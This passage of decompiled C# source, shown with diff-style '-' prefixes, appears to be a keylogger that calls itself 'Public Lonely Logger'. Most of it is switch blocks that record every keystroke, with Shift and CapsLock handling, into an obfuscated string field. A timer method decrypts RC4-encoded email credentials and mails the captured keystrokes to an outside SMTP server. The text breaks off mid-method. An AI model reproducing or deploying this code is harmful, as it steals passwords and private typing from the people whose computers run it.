Keys.NumPad1: - this.dSai89gbJkSU4b1WW9CW += "1"; - break; - case Keys.NumPad2: - this.dSai89gbJkSU4b1WW9CW += "2"; - break; - case Keys.NumPad3: - this.dSai89gbJkSU4b1WW9CW += "3"; - break; - case Keys.NumPad4: - this.dSai89gbJkSU4b1WW9CW += "4"; - break; - case Keys.NumPad5: - this.dSai89gbJkSU4b1WW9CW += "5"; - break; - case Keys.NumPad6: - this.dSai89gbJkSU4b1WW9CW += "6"; - break; - case Keys.NumPad7: - this.dSai89gbJkSU4b1WW9CW += "7"; - break; - case Keys.NumPad8: - this.dSai89gbJkSU4b1WW9CW += "8"; - break; - case Keys.NumPad9: - this.dSai89gbJkSU4b1WW9CW += "9"; - break; - case Keys.Multiply: - this.dSai89gbJkSU4b1WW9CW += "*"; - break; - case Keys.Add: - this.dSai89gbJkSU4b1WW9CW += "+"; - break; - case Keys.Subtract: - this.dSai89gbJkSU4b1WW9CW += "-"; - break; - case Keys.Decimal: - this.dSai89gbJkSU4b1WW9CW += "."; - break; - case Keys.Divide: - this.dSai89gbJkSU4b1WW9CW += "/"; - break; - case Keys.F1: - this.dSai89gbJkSU4b1WW9CW += "[F1]"; - break; - case Keys.F2: - this.dSai89gbJkSU4b1WW9CW += "[F2]"; - break; - case Keys.F3: - this.dSai89gbJkSU4b1WW9CW += "[F3]"; - break; - case Keys.F4: - this.dSai89gbJkSU4b1WW9CW += "[F4]"; - break; - case Keys.F5: - this.dSai89gbJkSU4b1WW9CW += "[F5]"; - break; - case Keys.F6: - this.dSai89gbJkSU4b1WW9CW += "[F6]"; - break; - case Keys.F7: - this.dSai89gbJkSU4b1WW9CW += "[F7]"; - break; - case Keys.F8: - this.dSai89gbJkSU4b1WW9CW += "[F8]"; - break; - case Keys.F9: - this.dSai89gbJkSU4b1WW9CW += "[F9]"; - break; - case Keys.F10: - this.dSai89gbJkSU4b1WW9CW += "[F10]"; - break; - case Keys.F11: - this.dSai89gbJkSU4b1WW9CW += "[F11]"; - break; - case Keys.F12: - this.dSai89gbJkSU4b1WW9CW += "[F12]"; - break; - case Keys.OemSemicolon: - this.dSai89gbJkSU4b1WW9CW += ";"; - break; - case Keys.Oemcomma: - this.dSai89gbJkSU4b1WW9CW += ","; - break; - case Keys.OemMinus: - this.dSai89gbJkSU4b1WW9CW += "-"; - break; - case Keys.OemPeriod: - this.dSai89gbJkSU4b1WW9CW += "."; - break; - case Keys.OemQuestion: - this.dSai89gbJkSU4b1WW9CW += "/"; - break; - case Keys.Oemtilde: - this.dSai89gbJkSU4b1WW9CW += "`"; - break; - case Keys.OemOpenBrackets: - this.dSai89gbJkSU4b1WW9CW += "["; - break; - case Keys.OemPipe: - this.dSai89gbJkSU4b1WW9CW += "\\"; - break; - case Keys.OemCloseBrackets: - this.dSai89gbJkSU4b1WW9CW += "]"; - break; - case Keys.OemQuotes: - this.dSai89gbJkSU4b1WW9CW += "'"; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.Tab: - this.dSai89gbJkSU4b1WW9CW += "[TAB]"; - break; - case Keys.Return: - this.dSai89gbJkSU4b1WW9CW += "\r\n"; - break; - case Keys.Escape: - this.dSai89gbJkSU4b1WW9CW += "[ESC]"; - break; - case Keys.Space: - this.dSai89gbJkSU4b1WW9CW += " "; - break; - case Keys.End: - this.dSai89gbJkSU4b1WW9CW += "[END]"; - break; - case Keys.Left: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Up: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Right: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Down: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Delete: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.D0: - this.dSai89gbJkSU4b1WW9CW += "0"; - break; - case Keys.D1: - this.dSai89gbJkSU4b1WW9CW += "1"; - break; - case Keys.D2: - this.dSai89gbJkSU4b1WW9CW += "2"; - break; - case Keys.D3: - this.dSai89gbJkSU4b1WW9CW += "3"; - break; - case Keys.D4: - this.dSai89gbJkSU4b1WW9CW += "4"; - break; - case Keys.D5: - this.dSai89gbJkSU4b1WW9CW += "5"; - break; - case Keys.D6: - this.dSai89gbJkSU4b1WW9CW += "6"; - break; - case Keys.D7: - this.dSai89gbJkSU4b1WW9CW += "7"; - break; - case Keys.D8: - this.dSai89gbJkSU4b1WW9CW += "8"; - break; - case Keys.D9: - this.dSai89gbJkSU4b1WW9CW += "9"; - break; - case Keys.A: - this.dSai89gbJkSU4b1WW9CW += "A"; - break; - case Keys.B: - this.dSai89gbJkSU4b1WW9CW += "B"; - break; - case Keys.C: - this.dSai89gbJkSU4b1WW9CW += "C"; - break; - case Keys.D: - this.dSai89gbJkSU4b1WW9CW += "D"; - break; - case Keys.E: - this.dSai89gbJkSU4b1WW9CW += "E"; - break; - case Keys.F: - this.dSai89gbJkSU4b1WW9CW += "F"; - break; - case Keys.G: - this.dSai89gbJkSU4b1WW9CW += "G"; - break; - case Keys.H: - this.dSai89gbJkSU4b1WW9CW += "H"; - break; - case Keys.I: - this.dSai89gbJkSU4b1WW9CW += "I"; - break; - case Keys.J: - this.dSai89gbJkSU4b1WW9CW += "J"; - break; - case Keys.K: - this.dSai89gbJkSU4b1WW9CW += "K"; - break; - case Keys.L: - this.dSai89gbJkSU4b1WW9CW += "L"; - break; - case Keys.M: - this.dSai89gbJkSU4b1WW9CW += "M"; - break; - case Keys.N: - this.dSai89gbJkSU4b1WW9CW += "N"; - break; - case Keys.O: - this.dSai89gbJkSU4b1WW9CW += "O"; - break; - case Keys.P: - this.dSai89gbJkSU4b1WW9CW += "P"; - break; - case Keys.Q: - this.dSai89gbJkSU4b1WW9CW += "Q"; - break; - case Keys.R: - this.dSai89gbJkSU4b1WW9CW += "R"; - break; - case Keys.S: - this.dSai89gbJkSU4b1WW9CW += "S"; - break; - case Keys.T: - this.dSai89gbJkSU4b1WW9CW += "T"; - break; - case Keys.U: - this.dSai89gbJkSU4b1WW9CW += "U"; - break; - case Keys.V: - this.dSai89gbJkSU4b1WW9CW += "V"; - break; - case Keys.W: - this.dSai89gbJkSU4b1WW9CW += "W"; - break; - case Keys.X: - this.dSai89gbJkSU4b1WW9CW += "X"; - break; - case Keys.Y: - this.dSai89gbJkSU4b1WW9CW += "Y"; - break; - case Keys.Z: - this.dSai89gbJkSU4b1WW9CW += "Z"; - break; - case Keys.NumPad0: - this.dSai89gbJkSU4b1WW9CW += "0"; - break; - case Keys.NumPad1: - this.dSai89gbJkSU4b1WW9CW += "1"; - break; - case Keys.NumPad2: - this.dSai89gbJkSU4b1WW9CW += "2"; - break; - case Keys.NumPad3: - this.dSai89gbJkSU4b1WW9CW += "3"; - break; - case Keys.NumPad4: - this.dSai89gbJkSU4b1WW9CW += "4"; - break; - case Keys.NumPad5: - this.dSai89gbJkSU4b1WW9CW += "5"; - break; - case Keys.NumPad6: - this.dSai89gbJkSU4b1WW9CW += "6"; - break; - case Keys.NumPad7: - this.dSai89gbJkSU4b1WW9CW += "7"; - break; - case Keys.NumPad8: - this.dSai89gbJkSU4b1WW9CW += "8"; - break; - case Keys.NumPad9: - this.dSai89gbJkSU4b1WW9CW += "9"; - break; - case Keys.Multiply: - this.dSai89gbJkSU4b1WW9CW += "*"; - break; - case Keys.Add: - this.dSai89gbJkSU4b1WW9CW += "+"; - break; - case Keys.Subtract: - this.dSai89gbJkSU4b1WW9CW += "-"; - break; - case Keys.Decimal: - this.dSai89gbJkSU4b1WW9CW += "."; - break; - case Keys.Divide: - this.dSai89gbJkSU4b1WW9CW += "/"; - break; - case Keys.F1: - this.dSai89gbJkSU4b1WW9CW += "[F1]"; - break; - case Keys.F2: - this.dSai89gbJkSU4b1WW9CW += "[F2]"; - break; - case Keys.F3: - this.dSai89gbJkSU4b1WW9CW += "[F3]"; - break; - case Keys.F4: - this.dSai89gbJkSU4b1WW9CW += "[F4]"; - break; - case Keys.F5: - this.dSai89gbJkSU4b1WW9CW += "[F5]"; - break; - case Keys.F6: - this.dSai89gbJkSU4b1WW9CW += "[F6]"; - break; - case Keys.F7: - this.dSai89gbJkSU4b1WW9CW += "[F7]"; - break; - case Keys.F8: - this.dSai89gbJkSU4b1WW9CW += "[F8]"; - break; - case Keys.F9: - this.dSai89gbJkSU4b1WW9CW += "[F9]"; - break; - case Keys.F10: - this.dSai89gbJkSU4b1WW9CW += "[F10]"; - break; - case Keys.F11: - this.dSai89gbJkSU4b1WW9CW += "[F11]"; - break; - case Keys.F12: - this.dSai89gbJkSU4b1WW9CW += "[F12]"; - break; - case Keys.OemSemicolon: - this.dSai89gbJkSU4b1WW9CW += ";"; - break; - case Keys.Oemcomma: - this.dSai89gbJkSU4b1WW9CW += ","; - break; - case Keys.OemMinus: - this.dSai89gbJkSU4b1WW9CW += "-"; - break; - case Keys.OemPeriod: - this.dSai89gbJkSU4b1WW9CW += "."; - break; - case Keys.OemQuestion: - this.dSai89gbJkSU4b1WW9CW += "/"; - break; - case Keys.Oemtilde: - this.dSai89gbJkSU4b1WW9CW += "`"; - break; - case Keys.OemOpenBrackets: - this.dSai89gbJkSU4b1WW9CW += "["; - break; - case Keys.OemPipe: - this.dSai89gbJkSU4b1WW9CW += "\\"; - break; - case Keys.OemCloseBrackets: - this.dSai89gbJkSU4b1WW9CW += "]"; - break; - case Keys.OemQuotes: - this.dSai89gbJkSU4b1WW9CW += "'"; - break; - } - } - else if (MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.Tab: - this.dSai89gbJkSU4b1WW9CW += "[TAB]"; - break; - case Keys.Return: - this.dSai89gbJkSU4b1WW9CW += "\r\n"; - break; - case Keys.Escape: - this.dSai89gbJkSU4b1WW9CW += "[ESC]"; - break; - case Keys.Space: - this.dSai89gbJkSU4b1WW9CW += " "; - break; - case Keys.End: - this.dSai89gbJkSU4b1WW9CW += "[END]"; - break; - case Keys.Left: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Up: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Right: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Down: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Delete: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.D0: - this.dSai89gbJkSU4b1WW9CW += ")"; - break; - case Keys.D1: - this.dSai89gbJkSU4b1WW9CW += "!"; - break; - case Keys.D2: - this.dSai89gbJkSU4b1WW9CW += "@"; - break; - case Keys.D3: - this.dSai89gbJkSU4b1WW9CW += "#"; - break; - case Keys.D4: - this.dSai89gbJkSU4b1WW9CW += "$"; - break; - case Keys.D5: - this.dSai89gbJkSU4b1WW9CW += "%"; - break; - case Keys.D6: - this.dSai89gbJkSU4b1WW9CW += "^"; - break; - case Keys.D7: - this.dSai89gbJkSU4b1WW9CW += "&"; - break; - case Keys.D8: - this.dSai89gbJkSU4b1WW9CW += "*"; - break; - case Keys.D9: - this.dSai89gbJkSU4b1WW9CW += "("; - break; - case Keys.A: - this.dSai89gbJkSU4b1WW9CW += "A"; - break; - case Keys.B: - this.dSai89gbJkSU4b1WW9CW += "B"; - break; - case Keys.C: - this.dSai89gbJkSU4b1WW9CW += "C"; - break; - case Keys.D: - this.dSai89gbJkSU4b1WW9CW += "D"; - break; - case Keys.E: - this.dSai89gbJkSU4b1WW9CW += "E"; - break; - case Keys.F: - this.dSai89gbJkSU4b1WW9CW += "F"; - break; - case Keys.G: - this.dSai89gbJkSU4b1WW9CW += "G"; - break; - case Keys.H: - this.dSai89gbJkSU4b1WW9CW += "H"; - break; - case Keys.I: - this.dSai89gbJkSU4b1WW9CW += "I"; - break; - case Keys.J: - this.dSai89gbJkSU4b1WW9CW += "J"; - break; - case Keys.K: - this.dSai89gbJkSU4b1WW9CW += "K"; - break; - case Keys.L: - this.dSai89gbJkSU4b1WW9CW += "L"; - break; - case Keys.M: - this.dSai89gbJkSU4b1WW9CW += "M"; - break; - case Keys.N: - this.dSai89gbJkSU4b1WW9CW += "N"; - break; - case Keys.O: - this.dSai89gbJkSU4b1WW9CW += "O"; - break; - case Keys.P: - this.dSai89gbJkSU4b1WW9CW += "P"; - break; - case Keys.Q: - this.dSai89gbJkSU4b1WW9CW += "Q"; - break; - case Keys.R: - this.dSai89gbJkSU4b1WW9CW += "R"; - break; - case Keys.S: - this.dSai89gbJkSU4b1WW9CW += "S"; - break; - case Keys.T: - this.dSai89gbJkSU4b1WW9CW += "T"; - break; - case Keys.U: - this.dSai89gbJkSU4b1WW9CW += "U"; - break; - case Keys.V: - this.dSai89gbJkSU4b1WW9CW += "V"; - break; - case Keys.W: - this.dSai89gbJkSU4b1WW9CW += "W"; - break; - case Keys.X: - this.dSai89gbJkSU4b1WW9CW += "X"; - break; - case Keys.Y: - this.dSai89gbJkSU4b1WW9CW += "Y"; - break; - case Keys.Z: - this.dSai89gbJkSU4b1WW9CW += "Z"; - break; - case Keys.Multiply: - this.dSai89gbJkSU4b1WW9CW += "*"; - break; - case Keys.Add: - this.dSai89gbJkSU4b1WW9CW += "+"; - break; - case Keys.Subtract: - this.dSai89gbJkSU4b1WW9CW += "-"; - break; - case Keys.Decimal: - this.dSai89gbJkSU4b1WW9CW += "."; - break; - case Keys.Divide: - this.dSai89gbJkSU4b1WW9CW += "/"; - break; - case Keys.F1: - this.dSai89gbJkSU4b1WW9CW += "[F1]"; - break; - case Keys.F2: - this.dSai89gbJkSU4b1WW9CW += "[F2]"; - break; - case Keys.F3: - this.dSai89gbJkSU4b1WW9CW += "[F3]"; - break; - case Keys.F4: - this.dSai89gbJkSU4b1WW9CW += "[F4]"; - break; - case Keys.F5: - this.dSai89gbJkSU4b1WW9CW += "[F5]"; - break; - case Keys.F6: - this.dSai89gbJkSU4b1WW9CW += "[F6]"; - break; - case Keys.F7: - this.dSai89gbJkSU4b1WW9CW += "[F7]"; - break; - case Keys.F8: - this.dSai89gbJkSU4b1WW9CW += "[F8]"; - break; - case Keys.F9: - this.dSai89gbJkSU4b1WW9CW += "[F9]"; - break; - case Keys.F10: - this.dSai89gbJkSU4b1WW9CW += "[F10]"; - break; - case Keys.F11: - this.dSai89gbJkSU4b1WW9CW += "[F11]"; - break; - case Keys.F12: - this.dSai89gbJkSU4b1WW9CW += "[F12]"; - break; - case Keys.OemSemicolon: - this.dSai89gbJkSU4b1WW9CW += ":"; - break; - case Keys.Oemcomma: - this.dSai89gbJkSU4b1WW9CW += "<"; - break; - case Keys.OemMinus: - this.dSai89gbJkSU4b1WW9CW += "_"; - break; - case Keys.OemPeriod: - this.dSai89gbJkSU4b1WW9CW += ">"; - break; - case Keys.OemQuestion: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Oemtilde: - this.dSai89gbJkSU4b1WW9CW += "~"; - break; - case Keys.OemOpenBrackets: - this.dSai89gbJkSU4b1WW9CW += "{"; - break; - case Keys.OemPipe: - this.dSai89gbJkSU4b1WW9CW += "|"; - break; - case Keys.OemCloseBrackets: - this.dSai89gbJkSU4b1WW9CW += "}"; - break; - case Keys.OemQuotes: - this.dSai89gbJkSU4b1WW9CW += "'"; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.Tab: - this.dSai89gbJkSU4b1WW9CW += "[TAB]"; - break; - case Keys.Return: - this.dSai89gbJkSU4b1WW9CW += "\r\n"; - break; - case Keys.Escape: - this.dSai89gbJkSU4b1WW9CW += "[ESC]"; - break; - case Keys.Space: - this.dSai89gbJkSU4b1WW9CW += " "; - break; - case Keys.End: - this.dSai89gbJkSU4b1WW9CW += "[END]"; - break; - case Keys.Left: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Up: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Right: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Down: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Delete: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.D0: - this.dSai89gbJkSU4b1WW9CW += "0"; - break; - case Keys.D1: - this.dSai89gbJkSU4b1WW9CW += "1"; - break; - case Keys.D2: - this.dSai89gbJkSU4b1WW9CW += "2"; - break; - case Keys.D3: - this.dSai89gbJkSU4b1WW9CW += "3"; - break; - case Keys.D4: - this.dSai89gbJkSU4b1WW9CW += "4"; - break; - case Keys.D5: - this.dSai89gbJkSU4b1WW9CW += "5"; - break; - case Keys.D6: - this.dSai89gbJkSU4b1WW9CW += "6"; - break; - case Keys.D7: - this.dSai89gbJkSU4b1WW9CW += "7"; - break; - case Keys.D8: - this.dSai89gbJkSU4b1WW9CW += "8"; - break; - case Keys.D9: - this.dSai89gbJkSU4b1WW9CW += "9"; - break; - case Keys.A: - this.dSai89gbJkSU4b1WW9CW += "a"; - break; - case Keys.B: - this.dSai89gbJkSU4b1WW9CW += "b"; - break; - case Keys.C: - this.dSai89gbJkSU4b1WW9CW += "c"; - break; - case Keys.D: - this.dSai89gbJkSU4b1WW9CW += "d"; - break; - case Keys.E: - this.dSai89gbJkSU4b1WW9CW += "e"; - break; - case Keys.F: - this.dSai89gbJkSU4b1WW9CW += "f"; - break; - case Keys.G: - this.dSai89gbJkSU4b1WW9CW += "g"; - break; - case Keys.H: - this.dSai89gbJkSU4b1WW9CW += "h"; - break; - case Keys.I: - this.dSai89gbJkSU4b1WW9CW += "i"; - break; - case Keys.J: - this.dSai89gbJkSU4b1WW9CW += "j"; - break; - case Keys.K: - this.dSai89gbJkSU4b1WW9CW += "k"; - break; - case Keys.L: - this.dSai89gbJkSU4b1WW9CW += "l"; - break; - case Keys.M: - this.dSai89gbJkSU4b1WW9CW += "m"; - break; - case Keys.N: - this.dSai89gbJkSU4b1WW9CW += "n"; - break; - case Keys.O: - this.dSai89gbJkSU4b1WW9CW += "o"; - break; - case Keys.P: - this.dSai89gbJkSU4b1WW9CW += "p"; - break; - case Keys.Q: - this.dSai89gbJkSU4b1WW9CW += "q"; - break; - case Keys.R: - this.dSai89gbJkSU4b1WW9CW += "r"; - break; - case Keys.S: - this.dSai89gbJkSU4b1WW9CW += "s"; - break; - case Keys.T: - this.dSai89gbJkSU4b1WW9CW += "t"; - break; - case Keys.U: - this.dSai89gbJkSU4b1WW9CW += "u"; - break; - case Keys.V: - this.dSai89gbJkSU4b1WW9CW += "v"; - break; - case Keys.W: - this.dSai89gbJkSU4b1WW9CW += "w"; - break; - case Keys.X: - this.dSai89gbJkSU4b1WW9CW += "x"; - break; - case Keys.Y: - this.dSai89gbJkSU4b1WW9CW += "y"; - break; - case Keys.Z: - this.dSai89gbJkSU4b1WW9CW += "z"; - break; - case Keys.Multiply: - this.dSai89gbJkSU4b1WW9CW += "*"; - break; - case Keys.Add: - this.dSai89gbJkSU4b1WW9CW += "+"; - break; - case Keys.Subtract: - this.dSai89gbJkSU4b1WW9CW += "-"; - break; - case Keys.Decimal: - this.dSai89gbJkSU4b1WW9CW += "."; - break; - case Keys.Divide: - this.dSai89gbJkSU4b1WW9CW += "/"; - break; - case Keys.F1: - this.dSai89gbJkSU4b1WW9CW += "[F1]"; - break; - case Keys.F2: - this.dSai89gbJkSU4b1WW9CW += "[F2]"; - break; - case Keys.F3: - this.dSai89gbJkSU4b1WW9CW += "[F3]"; - break; - case Keys.F4: - this.dSai89gbJkSU4b1WW9CW += "[F4]"; - break; - case Keys.F5: - this.dSai89gbJkSU4b1WW9CW += "[F5]"; - break; - case Keys.F6: - this.dSai89gbJkSU4b1WW9CW += "[F6]"; - break; - case Keys.F7: - this.dSai89gbJkSU4b1WW9CW += "[F7]"; - break; - case Keys.F8: - this.dSai89gbJkSU4b1WW9CW += "[F8]"; - break; - case Keys.F9: - this.dSai89gbJkSU4b1WW9CW += "[F9]"; - break; - case Keys.F10: - this.dSai89gbJkSU4b1WW9CW += "[F10]"; - break; - case Keys.F11: - this.dSai89gbJkSU4b1WW9CW += "[F11]"; - break; - case Keys.F12: - this.dSai89gbJkSU4b1WW9CW += "[F12]"; - break; - case Keys.OemSemicolon: - this.dSai89gbJkSU4b1WW9CW += ";"; - break; - case Keys.Oemcomma: - this.dSai89gbJkSU4b1WW9CW += ","; - break; - case Keys.OemMinus: - this.dSai89gbJkSU4b1WW9CW += "-"; - break; - case Keys.OemPeriod: - this.dSai89gbJkSU4b1WW9CW += "."; - break; - case Keys.OemQuestion: - this.dSai89gbJkSU4b1WW9CW += "/"; - break; - case Keys.Oemtilde: - this.dSai89gbJkSU4b1WW9CW += "`"; - break; - case Keys.OemOpenBrackets: - this.dSai89gbJkSU4b1WW9CW += "["; - break; - case Keys.OemPipe: - this.dSai89gbJkSU4b1WW9CW += "\\"; - break; - case Keys.OemCloseBrackets: - this.dSai89gbJkSU4b1WW9CW += "]"; - break; - case Keys.OemQuotes: - this.dSai89gbJkSU4b1WW9CW += "'"; - break; - } - } - else - { - if (!(MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock)) - return; - switch (Key) - { - case Keys.Back: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.Tab: - this.dSai89gbJkSU4b1WW9CW += "[TAB]"; - break; - case Keys.Return: - this.dSai89gbJkSU4b1WW9CW += "\r\n"; - break; - case Keys.Escape: - this.dSai89gbJkSU4b1WW9CW += "[ESC]"; - break; - case Keys.Space: - this.dSai89gbJkSU4b1WW9CW += " "; - break; - case Keys.End: - this.dSai89gbJkSU4b1WW9CW += "[END]"; - break; - case Keys.Left: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Up: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Right: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Down: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Delete: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.D0: - this.dSai89gbJkSU4b1WW9CW += ")"; - break; - case Keys.D1: - this.dSai89gbJkSU4b1WW9CW += "!"; - break; - case Keys.D2: - this.dSai89gbJkSU4b1WW9CW += "@"; - break; - case Keys.D3: - this.dSai89gbJkSU4b1WW9CW += "#"; - break; - case Keys.D4: - this.dSai89gbJkSU4b1WW9CW += "$"; - break; - case Keys.D5: - this.dSai89gbJkSU4b1WW9CW += "%"; - break; - case Keys.D6: - this.dSai89gbJkSU4b1WW9CW += "^"; - break; - case Keys.D7: - this.dSai89gbJkSU4b1WW9CW += "&"; - break; - case Keys.D8: - this.dSai89gbJkSU4b1WW9CW += "*"; - break; - case Keys.D9: - this.dSai89gbJkSU4b1WW9CW += "("; - break; - case Keys.A: - this.dSai89gbJkSU4b1WW9CW += "A"; - break; - case Keys.B: - this.dSai89gbJkSU4b1WW9CW += "B"; - break; - case Keys.C: - this.dSai89gbJkSU4b1WW9CW += "C"; - break; - case Keys.D: - this.dSai89gbJkSU4b1WW9CW += "D"; - break; - case Keys.E: - this.dSai89gbJkSU4b1WW9CW += "E"; - break; - case Keys.F: - this.dSai89gbJkSU4b1WW9CW += "F"; - break; - case Keys.G: - this.dSai89gbJkSU4b1WW9CW += "G"; - break; - case Keys.H: - this.dSai89gbJkSU4b1WW9CW += "H"; - break; - case Keys.I: - this.dSai89gbJkSU4b1WW9CW += "I"; - break; - case Keys.J: - this.dSai89gbJkSU4b1WW9CW += "J"; - break; - case Keys.K: - this.dSai89gbJkSU4b1WW9CW += "K"; - break; - case Keys.L: - this.dSai89gbJkSU4b1WW9CW += "L"; - break; - case Keys.M: - this.dSai89gbJkSU4b1WW9CW += "M"; - break; - case Keys.N: - this.dSai89gbJkSU4b1WW9CW += "N"; - break; - case Keys.O: - this.dSai89gbJkSU4b1WW9CW += "O"; - break; - case Keys.P: - this.dSai89gbJkSU4b1WW9CW += "P"; - break; - case Keys.Q: - this.dSai89gbJkSU4b1WW9CW += "Q"; - break; - case Keys.R: - this.dSai89gbJkSU4b1WW9CW += "R"; - break; - case Keys.S: - this.dSai89gbJkSU4b1WW9CW += "S"; - break; - case Keys.T: - this.dSai89gbJkSU4b1WW9CW += "T"; - break; - case Keys.U: - this.dSai89gbJkSU4b1WW9CW += "U"; - break; - case Keys.V: - this.dSai89gbJkSU4b1WW9CW += "V"; - break; - case Keys.W: - this.dSai89gbJkSU4b1WW9CW += "W"; - break; - case Keys.X: - this.dSai89gbJkSU4b1WW9CW += "X"; - break; - case Keys.Y: - this.dSai89gbJkSU4b1WW9CW += "Y"; - break; - case Keys.Z: - this.dSai89gbJkSU4b1WW9CW += "Z"; - break; - case Keys.Multiply: - this.dSai89gbJkSU4b1WW9CW += "*"; - break; - case Keys.Add: - this.dSai89gbJkSU4b1WW9CW += "+"; - break; - case Keys.Subtract: - this.dSai89gbJkSU4b1WW9CW += "-"; - break; - case Keys.Decimal: - this.dSai89gbJkSU4b1WW9CW += "."; - break; - case Keys.Divide: - this.dSai89gbJkSU4b1WW9CW += "/"; - break; - case Keys.F1: - this.dSai89gbJkSU4b1WW9CW += "[F1]"; - break; - case Keys.F2: - this.dSai89gbJkSU4b1WW9CW += "[F2]"; - break; - case Keys.F3: - this.dSai89gbJkSU4b1WW9CW += "[F3]"; - break; - case Keys.F4: - this.dSai89gbJkSU4b1WW9CW += "[F4]"; - break; - case Keys.F5: - this.dSai89gbJkSU4b1WW9CW += "[F5]"; - break; - case Keys.F6: - this.dSai89gbJkSU4b1WW9CW += "[F6]"; - break; - case Keys.F7: - this.dSai89gbJkSU4b1WW9CW += "[F7]"; - break; - case Keys.F8: - this.dSai89gbJkSU4b1WW9CW += "[F8]"; - break; - case Keys.F9: - this.dSai89gbJkSU4b1WW9CW += "[F9]"; - break; - case Keys.F10: - this.dSai89gbJkSU4b1WW9CW += "[F10]"; - break; - case Keys.F11: - this.dSai89gbJkSU4b1WW9CW += "[F11]"; - break; - case Keys.F12: - this.dSai89gbJkSU4b1WW9CW += "[F12]"; - break; - case Keys.OemSemicolon: - this.dSai89gbJkSU4b1WW9CW += ":"; - break; - case Keys.Oemcomma: - this.dSai89gbJkSU4b1WW9CW += "<"; - break; - case Keys.OemMinus: - this.dSai89gbJkSU4b1WW9CW += "_"; - break; - case Keys.OemPeriod: - this.dSai89gbJkSU4b1WW9CW += ">"; - break; - case Keys.OemQuestion: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Oemtilde: - this.dSai89gbJkSU4b1WW9CW += "~"; - break; - case Keys.OemOpenBrackets: - this.dSai89gbJkSU4b1WW9CW += "{"; - break; - case Keys.OemPipe: - this.dSai89gbJkSU4b1WW9CW += "|"; - break; - case Keys.OemCloseBrackets: - this.dSai89gbJkSU4b1WW9CW += "}"; - break; - case Keys.OemQuotes: - this.dSai89gbJkSU4b1WW9CW += "'"; - break; - } - } - } - - private void Timer1_Tick(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string text1 = this.extension1.Text; -label_2: - num3 = 3; - this.drCpFfKGVlcmm4BbWDaB = Form1.rc4(text1, "qwerty"); -label_3: - num3 = 4; - string text2 = this.extension2.Text; -label_4: - num3 = 5; - this.LzH8BeS1gYj0xcWTXZsd = Form1.rc4(text2, "qwerty1"); -label_5: - num3 = 6; - MailMessage message = new MailMessage(); -label_6: - num3 = 7; - message.From = new MailAddress(this.drCpFfKGVlcmm4BbWDaB); -label_7: - num3 = 8; - message.To.Add(this.drCpFfKGVlcmm4BbWDaB); -label_8: - num3 = 9; - message.Subject = "-=-Public Lonely Logger Logs V1.0-=-"; -label_9: - num3 = 10; - message.Body = this.dSai89gbJkSU4b1WW9CW; -label_10: - num3 = 11; - SmtpClient smtpClient = new SmtpClient(this.gQ6Lln84OP3I0l41ZEpn); -label_11: - num3 = 12; - smtpClient.Port = Conversions.ToInteger(this.dR7hJ9OQR8JuLX60TqOp); -label_12: - num3 = 13; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.drCpFfKGVlcmm4BbWDaB, this.LzH8BeS1gYj0xcWTXZsd); -label_13: - num3 = 14; - smtpClient.EnableSsl = true; -label_14: - num3 = 15; - smtpClient.Send(message); -label_15: - num3 = 16; - this.dSai89gbJkSU4b1WW9CW = (string) null; - goto label_22; -label_17: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - 